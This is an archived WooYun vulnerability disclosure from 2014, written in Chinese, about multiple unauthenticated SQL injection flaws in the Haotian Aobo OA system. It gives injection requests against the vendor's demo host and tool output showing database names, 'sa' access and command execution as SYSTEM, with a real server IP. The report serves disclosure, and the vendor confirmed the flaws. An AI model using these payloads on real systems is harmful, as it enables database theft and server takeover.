乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-23: 细节已通知厂商并且等待厂商处理中 2014-05-28: 厂商已经确认,细节仅向厂商公开 2014-05-31: 细节向第三方安全合作伙伴开放 2014-07-22: 细节向核心白帽子及相关领域专家公开 2014-08-01: 细节向普通白帽子公开 2014-08-11: 细节向实习白帽子公开 2014-08-21: 细节向公众公开
某OA系统多处SQL注入漏洞(无需登录)
北京浩天奥博科技有限公司浩天奥博OA办公自动化系统存在多处SQL注入官方成功案例:http://www.haotianaobo.com/cases.aspx官方demo地址:http://oademo.haotianaobo.com/这个系统注入太多了,找了一些无需登录的注入,还有很多很多。。。
第一处SQL注入
http://oademo.haotianaobo.com/Login.aspx__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE1MjI1NTcyMzJkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjGwrba8qDORNhnVIrrjKrA%2BgCGRgw%3D%3D&__EVENTVALIDATION=%2FwEWBQLJy8PPBALF1bSzCQLm8eKkDwLSwpnTCAKM54rGBu0pJ1OcfedKh8kFi8QYHYjrMbaG&TxtUserName=admin%27&TxtUserPwd=111111&AuthCode1%24codeText=&ImageButton1.x=41&ImageButton1.y=11
参数用户名TxtUserName存在注入
第二处SQL注入
http://oademo.haotianaobo.com/SystemManage/BuMenInfo.aspx?Type=&DirID=15%27
参数DirID存在SQL注入
第三处SQL注入
http://oademo.haotianaobo.com/SystemManage/SystemUser.aspx__VIEWSTATE=%2FwEPDwUKMTM4ODMzODUxMQ9kFgICAQ9kFgwCBg8PFgIeB1Zpc2libGVoZGQCCA8PFgIfAGhkZAIKDw8WAh8AaGRkAg4PPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50AgpkFgJmD2QWFgIBDw9kFgQeC29ubW91c2VvdmVyBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx4Kb25tb3VzZW91dAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHgRUZXh0BQIzN2RkAgEPZBYCAgEPDxYCHgtOYXZpZ2F0ZVVybAUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0zN2QWAmYPFQEDd2VpZAICDw8WAh8FBQN3ZWlkZAIDDw8WAh8FBQYmbmJzcDtkZAIEDw8WAh8FBSfotKLliqHpg6gs5oqA5pyv6YOoLOW8gOWPkemDqCzlrqLmnI3pg6hkZAIFDw8WAh8FBQ%2FotoXnuqfnrqHnkIblkZhkZAIGDw8WAh8FBQPmmK9kZAICDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFAjM2ZGQCAQ9kFgICAQ8PFgIfBgUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0zNmQWAmYPFQEEemhhb2QCAg8PFgIfBQUEemhhb2RkAgMPDxYCHwUFBiZuYnNwO2RkAgQPDxYCHwUFJ%2Bi0ouWKoemDqCzmioDmnK%2Fpg6gs5byA5Y%2BR6YOoLOWuouacjemDqGRkAgUPDxYCHwUFD%2Bi2hee6p%2BeuoeeQhuWRmGRkAgYPDxYCHwUFA%2BaYr2RkAgMPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIfBQUCMzVkZAIBD2QWAgIBDw8WAh8GBRlTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTM1ZBYCZg8VAQh6aGFvemhhb2QCAg8PFgIfBQUIemhhb3poYW9kZAIDDw8WAh8FBQQwMDIxZGQCBA8PFgIfBQUn6LSi5Yqh6YOoLOaKgOacr%2BmDqCzlvIDlj5Hpg6gs5a6i5pyN6YOoZGQCBQ8PFgIfBQUP6LaF57qn566h55CG5ZGYZGQCBg8PFgIfBQUD5pivZGQCBA8PZBYEHwMFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHwQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7Fg5mD2QWAgIBDw8WAh8FBQIzNGRkAgEPZBYCAgEPDxYCHwYFGVN5c3RlbVVzZXJWaWV3LmFzcHg%2FSUQ9MzRkFgJmDxUBAmR1ZAICDw8WAh8FBQJkdWRkAgMPDxYCHwUFAzAwMWRkAgQPDxYCHwUFCeaKgOacr%2BmDqGRkAgUPDxYCHwUFD%2Bi2hee6p%2BeuoeeQhuWRmGRkAgYPDxYCHwUFA%2BaYr2RkAgUPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIfBQUCMzNkZAIBD2QWAgIBDw8WAh8GBRlTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTMzZBYCZg8VAQV4dXdlaWQCAg8PFgIfBQUFeHV3ZWlkZAIDDw8WAh8FBQhhZG1pbjAwMWRkAgQPDxYCHwUFCeiRo%2BS6i%2BmDqGRkAgUPDxYCHwUFD%2Bi2hee6p%2BeuoeeQhuWRmGRkAgYPDxYCHwUFA%2BaYr2RkAgYPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIfBQUCMzJkZAIBD2QWAgIBDw8WAh8GBRlTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTMyZBYCZg8VAQVhZG1pbmQCAg8PFgIfBQUFYWRtaW5kZAIDDw8WAh8FBQVLRjAwOGRkAgQPDxYCHwUFCeW8gOWPkemDqGRkAgUPDxYCHwUFEU9B57u85ZCI54mI6KeS6ImyZGQCBg8PFgIfBQUD5pivZGQCBw8PZBYEHwMFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHwQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7Fg5mD2QWAgIBDw8WAh8FBQIzMGRkAgEPZBYCAgEPDxYCHwYFGVN5c3RlbVVzZXJWaWV3LmFzcHg%2FSUQ9MzBkFgJmDxUBD%2BWfuuehgOeJiOeUqOaIt2QCAg8PFgIfBQUHamNhZG1pbmRkAgMPDxYCHwUFBWpjMDAxZGQCBA8PFgIfBQUJ5oqA5pyv6YOoZGQCBQ8PFgIfBQURT0Hln7rnoYDniYjop5LoibJkZAIGDw8WAh8FBQPmmK9kZAIIDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFAjI2ZGQCAQ9kFgICAQ8PFgIfBgUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0yNmQWAmYPFQECeHdkAgIPDxYCHwUFAnh3ZGQCAw8PFgIfBQUIYWRtaW4wMDFkZAIEDw8WAh8FBQnokaPkuovpg6hkZAIFDw8WAh8FBQ%2FotoXnuqfnrqHnkIblkZhkZAIGDw8WAh8FBQPmmK9kZAIJDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFAjI1ZGQCAQ9kFgICAQ8PFgIfBgUZU3lzdGVtVXNlclZpZXcuYXNweD9JRD0yNWQWAmYPFQEJ5Lya6K6h5LiAZAICDw8WAh8FBQdramFkbWluZGQCAw8PFgIfBQUFS0owMDFkZAIEDw8WAh8FBQnotKLliqHnp5FkZAIFDw8WAh8FBQzkuIDoiKzlkZjlt6VkZAIGDw8WAh8FBQPmmK9kZAIKDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWDmYPZBYCAgEPDxYCHwUFATFkZAIBD2QWAgIBDw8WAh8GBRhTeXN0ZW1Vc2VyVmlldy5hc3B4P0lEPTFkFgJmDxUBD%2BS4k%2BS4mueJiOeUqOaIt2QCAg8PFgIfBQUHenlhZG1pbmRkAgMPDxYCHwUFBUtGMDAxZGQCBA8PFgIfBQUJ5byA5Y%2BR6YOoZGQCBQ8PFgIfBQURT0HkuJPkuJrniYjop5LoibJkZAIGDw8WAh8FBQPmmK9kZAILDw8WAh8AaGRkAhgPDxYCHwUFATFkZAIaDw8WAh8FBQExZGQYAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFhEFDEltYWdlQnV0dG9uNAUMSW1hZ2VCdXR0b24yBRhHVkRhdGEkY3RsMDIkQ2hlY2tTZWxlY3QFGEdWRGF0YSRjdGwwMyRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDA0JENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMDUkQ2hlY2tTZWxlY3QFGEdWRGF0YSRjdGwwNiRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDA3JENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMDgkQ2hlY2tTZWxlY3QFGEdWRGF0YSRjdGwwOSRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDEwJENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMTEkQ2hlY2tTZWxlY3QFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPPCsACgEIAgFkw0RmsSgvw%2BQl%2FFmrPn1%2BPHBAXI8%3D&__EVENTVALIDATION=%2FwEWFgKyw6r9CwLs0fbZDALs0bLrBgLSwv2aBALSwtXkAgKjzK72CAKjzNLWAgKI47jlDwKI45y7DgLt%2BYKkDQLt%2BabSBQLSkM2TDgLPo42tDQLD%2FYvjBwLD%2Fc%2FqCwLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CSDUd5b8djCFJ283fXql2uHymsb%2F&TextBox2=111111%27 and (select @@version)>0 --&TextBox1=&ImageButton4.x=0&ImageButton4.y=0&TxtPageSize=15&GoPage=1
参数TextBox2存在注入
[*] APSH[*] CRM[*] CStarPMDB[*] DXH_Base[*] DXH_Log[*] DXH_Web[*] ElecExamSys[*] ERP[*] GiftStoreWebDB[*] HTAB_DB[*] IA_DB[*] IDDS[*] JJTZWeb_DB[*] LAWF[*] LppSysWebDB[*] master[*] model[*] msdb[*] myerp[*] NewSelectionDB[*] NewsSelectionDB[*] PHRM[*] pinewood_DB[*] PMS_DB[*] Practise[*] ReportServer[*] ReportServerTempDB[*] sportinfo_db[*] StreetBJQinYuan[*] tempdb[*] WDWK[*] ZHJRCloud
sa权限
web server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[16:52:14] [INFO] fetching current usercurrent user: 'sa'
可直接拿shell
command standard output [1]:[*] nt authority\systemcommand standard output:---\\ ?????-------------------------------------------------------------------------------Administrator ASPNET GuestIUSR_NET-480344C3433 IWAM_NET-480344C3433 SQLDebugger---command standard output:---Windows IP ConfigurationWindows IP ConfigurationEthernet adapter ????:Ethernet adapter ????: \?a0\?a0Media State . . . . . . . . . . . : Media disconnected Media State . . . . . . . . . . . : Media disconnectedEthernet adapter ???? 2:Ethernet adapter ???? 2: \?a0\?a0Connection-specific DNS Suffix \?a0\?2e : Connection-specific DNS Suffix . : \?a0\?a0IP Address. . . . . . . . . . . . : 122.115.59.91 IP Address. . . . . . . . . . . . : 122.115.59.91 \?a0\?a0Subnet Mask . . . . . . . . . . . : 255.255.255.192 Subnet Mask . . . . . . . . . . . : 255.255.255.192 \?a0\?a0Default Gateway . . . . . . . . . : 122.115.59.65 Default Gateway . . . . . . . . . : 122.115.59.65---
过滤,控制权限
危害等级:高
漏洞Rank:13
确认时间:2014-05-28 11:34
暂无